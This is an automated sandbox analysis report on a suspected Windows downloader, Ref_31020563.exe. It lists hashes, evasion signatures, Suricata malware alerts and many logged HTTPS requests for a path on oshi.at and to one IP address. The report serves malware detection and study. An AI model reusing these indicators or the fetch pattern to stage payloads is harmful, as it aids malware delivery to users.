Edit tour

Windows Analysis Report
Ref_31020563.exe

Overview

General Information

Sample name:	Ref_31020563.exe
Analysis ID:	1572489
MD5:	7c8431a3c14296cff7381cc69b61bad8
SHA1:	d3d20ede9527fdbeb8252118af55558037721630
SHA256:	881d0d3e98524b861548955ed7ced7f91de3a39d50feb573896694188e7fecff
Tags:	exeuser-TeamDreier
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Machine Learning detection for sample

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Enables debug privileges

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Classification

Process Tree

System is w10x64

Ref_31020563.exe (PID: 7572 cmdline: "C:\Users\user\Desktop\Ref_31020563.exe" MD5: 7C8431A3C14296CFF7381CC69B61BAD8)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T16:27:29.576670+0100	2803305	3	Unknown Traffic	192.168.2.8	49714	194.15.112.248	443	TCP
2024-12-10T16:27:32.526457+0100	2803305	3	Unknown Traffic	192.168.2.8	49715	194.15.112.248	443	TCP
2024-12-10T16:27:35.369134+0100	2803305	3	Unknown Traffic	192.168.2.8	49716	194.15.112.248	443	TCP
2024-12-10T16:27:38.316628+0100	2803305	3	Unknown Traffic	192.168.2.8	49717	194.15.112.248	443	TCP
2024-12-10T16:27:41.249915+0100	2803305	3	Unknown Traffic	192.168.2.8	49718	194.15.112.248	443	TCP
2024-12-10T16:27:44.172445+0100	2803305	3	Unknown Traffic	192.168.2.8	49721	194.15.112.248	443	TCP
2024-12-10T16:27:47.152636+0100	2803305	3	Unknown Traffic	192.168.2.8	49722	194.15.112.248	443	TCP
2024-12-10T16:27:49.988251+0100	2803305	3	Unknown Traffic	192.168.2.8	49723	194.15.112.248	443	TCP
2024-12-10T16:27:52.919141+0100	2803305	3	Unknown Traffic	192.168.2.8	49724	194.15.112.248	443	TCP
2024-12-10T16:27:55.868078+0100	2803305	3	Unknown Traffic	192.168.2.8	49725	194.15.112.248	443	TCP
2024-12-10T16:27:58.769686+0100	2803305	3	Unknown Traffic	192.168.2.8	49726	194.15.112.248	443	TCP
2024-12-10T16:28:01.651132+0100	2803305	3	Unknown Traffic	192.168.2.8	49727	194.15.112.248	443	TCP
2024-12-10T16:28:04.541632+0100	2803305	3	Unknown Traffic	192.168.2.8	49728	194.15.112.248	443	TCP
2024-12-10T16:28:07.439598+0100	2803305	3	Unknown Traffic	192.168.2.8	49729	194.15.112.248	443	TCP
2024-12-10T16:28:10.362142+0100	2803305	3	Unknown Traffic	192.168.2.8	49730	194.15.112.248	443	TCP
2024-12-10T16:28:13.255533+0100	2803305	3	Unknown Traffic	192.168.2.8	49731	194.15.112.248	443	TCP
2024-12-10T16:28:16.139650+0100	2803305	3	Unknown Traffic	192.168.2.8	49732	194.15.112.248	443	TCP
2024-12-10T16:28:19.004117+0100	2803305	3	Unknown Traffic	192.168.2.8	49733	194.15.112.248	443	TCP
2024-12-10T16:28:21.900347+0100	2803305	3	Unknown Traffic	192.168.2.8	49735	194.15.112.248	443	TCP
2024-12-10T16:28:24.793119+0100	2803305	3	Unknown Traffic	192.168.2.8	49736	194.15.112.248	443	TCP
2024-12-10T16:28:27.680746+0100	2803305	3	Unknown Traffic	192.168.2.8	49737	194.15.112.248	443	TCP
2024-12-10T16:28:30.557000+0100	2803305	3	Unknown Traffic	192.168.2.8	49738	194.15.112.248	443	TCP
2024-12-10T16:28:33.416773+0100	2803305	3	Unknown Traffic	192.168.2.8	49739	194.15.112.248	443	TCP
2024-12-10T16:28:36.346856+0100	2803305	3	Unknown Traffic	192.168.2.8	49740	194.15.112.248	443	TCP
2024-12-10T16:28:39.176510+0100	2803305	3	Unknown Traffic	192.168.2.8	49741	194.15.112.248	443	TCP
2024-12-10T16:28:42.030234+0100	2803305	3	Unknown Traffic	192.168.2.8	49742	194.15.112.248	443	TCP
2024-12-10T16:28:45.034408+0100	2803305	3	Unknown Traffic	192.168.2.8	49743	194.15.112.248	443	TCP
2024-12-10T16:28:47.921613+0100	2803305	3	Unknown Traffic	192.168.2.8	49744	194.15.112.248	443	TCP
2024-12-10T16:28:51.845244+0100	2803305	3	Unknown Traffic	192.168.2.8	49745	194.15.112.248	443	TCP
2024-12-10T16:28:54.729587+0100	2803305	3	Unknown Traffic	192.168.2.8	49746	194.15.112.248	443	TCP
2024-12-10T16:28:57.617140+0100	2803305	3	Unknown Traffic	192.168.2.8	49747	194.15.112.248	443	TCP
2024-12-10T16:29:00.497997+0100	2803305	3	Unknown Traffic	192.168.2.8	49748	194.15.112.248	443	TCP
2024-12-10T16:29:03.373393+0100	2803305	3	Unknown Traffic	192.168.2.8	49749	194.15.112.248	443	TCP
2024-12-10T16:29:06.254399+0100	2803305	3	Unknown Traffic	192.168.2.8	49750	194.15.112.248	443	TCP
2024-12-10T16:29:09.166355+0100	2803305	3	Unknown Traffic	192.168.2.8	49751	194.15.112.248	443	TCP
2024-12-10T16:29:12.107042+0100	2803305	3	Unknown Traffic	192.168.2.8	49752	194.15.112.248	443	TCP
2024-12-10T16:29:15.519764+0100	2803305	3	Unknown Traffic	192.168.2.8	49753	194.15.112.248	443	TCP
2024-12-10T16:29:18.516274+0100	2803305	3	Unknown Traffic	192.168.2.8	49754	194.15.112.248	443	TCP
2024-12-10T16:29:21.422261+0100	2803305	3	Unknown Traffic	192.168.2.8	49755	194.15.112.248	443	TCP
2024-12-10T16:29:24.320843+0100	2803305	3	Unknown Traffic	192.168.2.8	49756	194.15.112.248	443	TCP
2024-12-10T16:29:27.272943+0100	2803305	3	Unknown Traffic	192.168.2.8	49757	194.15.112.248	443	TCP
2024-12-10T16:29:30.163523+0100	2803305	3	Unknown Traffic	192.168.2.8	49758	194.15.112.248	443	TCP
2024-12-10T16:29:33.137370+0100	2803305	3	Unknown Traffic	192.168.2.8	49759	194.15.112.248	443	TCP
2024-12-10T16:29:36.051646+0100	2803305	3	Unknown Traffic	192.168.2.8	49760	194.15.112.248	443	TCP
2024-12-10T16:29:38.891899+0100	2803305	3	Unknown Traffic	192.168.2.8	49761	194.15.112.248	443	TCP
2024-12-10T16:29:41.778174+0100	2803305	3	Unknown Traffic	192.168.2.8	49762	194.15.112.248	443	TCP
2024-12-10T16:29:44.669988+0100	2803305	3	Unknown Traffic	192.168.2.8	49763	194.15.112.248	443	TCP
2024-12-10T16:29:47.540314+0100	2803305	3	Unknown Traffic	192.168.2.8	49764	194.15.112.248	443	TCP
2024-12-10T16:29:50.435955+0100	2803305	3	Unknown Traffic	192.168.2.8	49765	194.15.112.248	443	TCP
2024-12-10T16:29:53.312188+0100	2803305	3	Unknown Traffic	192.168.2.8	49766	194.15.112.248	443	TCP
2024-12-10T16:29:56.201449+0100	2803305	3	Unknown Traffic	192.168.2.8	49767	194.15.112.248	443	TCP
2024-12-10T16:29:59.185829+0100	2803305	3	Unknown Traffic	192.168.2.8	49768	194.15.112.248	443	TCP
2024-12-10T16:30:02.079464+0100	2803305	3	Unknown Traffic	192.168.2.8	49769	194.15.112.248	443	TCP
2024-12-10T16:30:04.971373+0100	2803305	3	Unknown Traffic	192.168.2.8	49770	194.15.112.248	443	TCP
2024-12-10T16:30:08.144659+0100	2803305	3	Unknown Traffic	192.168.2.8	49771	194.15.112.248	443	TCP
2024-12-10T16:30:10.962597+0100	2803305	3	Unknown Traffic	192.168.2.8	49772	194.15.112.248	443	TCP
2024-12-10T16:30:13.861298+0100	2803305	3	Unknown Traffic	192.168.2.8	49773	194.15.112.248	443	TCP
2024-12-10T16:30:16.740159+0100	2803305	3	Unknown Traffic	192.168.2.8	49774	194.15.112.248	443	TCP
2024-12-10T16:30:19.661631+0100	2803305	3	Unknown Traffic	192.168.2.8	49775	194.15.112.248	443	TCP
2024-12-10T16:30:22.805932+0100	2803305	3	Unknown Traffic	192.168.2.8	49776	194.15.112.248	443	TCP
2024-12-10T16:30:25.705370+0100	2803305	3	Unknown Traffic	192.168.2.8	49777	194.15.112.248	443	TCP
2024-12-10T16:30:28.588814+0100	2803305	3	Unknown Traffic	192.168.2.8	49778	194.15.112.248	443	TCP
2024-12-10T16:30:31.493402+0100	2803305	3	Unknown Traffic	192.168.2.8	49779	194.15.112.248	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Ref_31020563.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Ref_31020563.exe

Joe Sandbox ML: detected

Source: Ref_31020563.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 194.15.112.248:443 -> 192.168.2.8:49713 version: TLS 1.2

Source: Ref_31020563.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.atConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at

Source: Joe Sandbox View

IP Address: 194.15.112.248 194.15.112.248

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49714 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49738 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49731 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49739 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49717 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49752 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49729 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49740 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49746 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49718 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49733 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49722 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49727 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49778 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49772 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49715 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49769 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49750 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49779 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49751 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49725 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49724 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49742 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49754 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49726 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49775 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49732 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49736 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49777 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49764 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49774 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49745 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49776 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49723 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49753 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49728 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49748 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49768 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49747 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49716 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49749 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49741 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49730 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49758 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49721 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49761 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49763 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49765 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49743 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49757 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49773 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49737 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49767 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49756 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49762 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49755 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49771 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49744 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49735 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49766 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49770 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49759 -> 194.15.112.248:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49760 -> 194.15.112.248:443

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.atConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
Source: global traffic	HTTP traffic detected: GET /AQBP HTTP/1.1Host: oshi.at
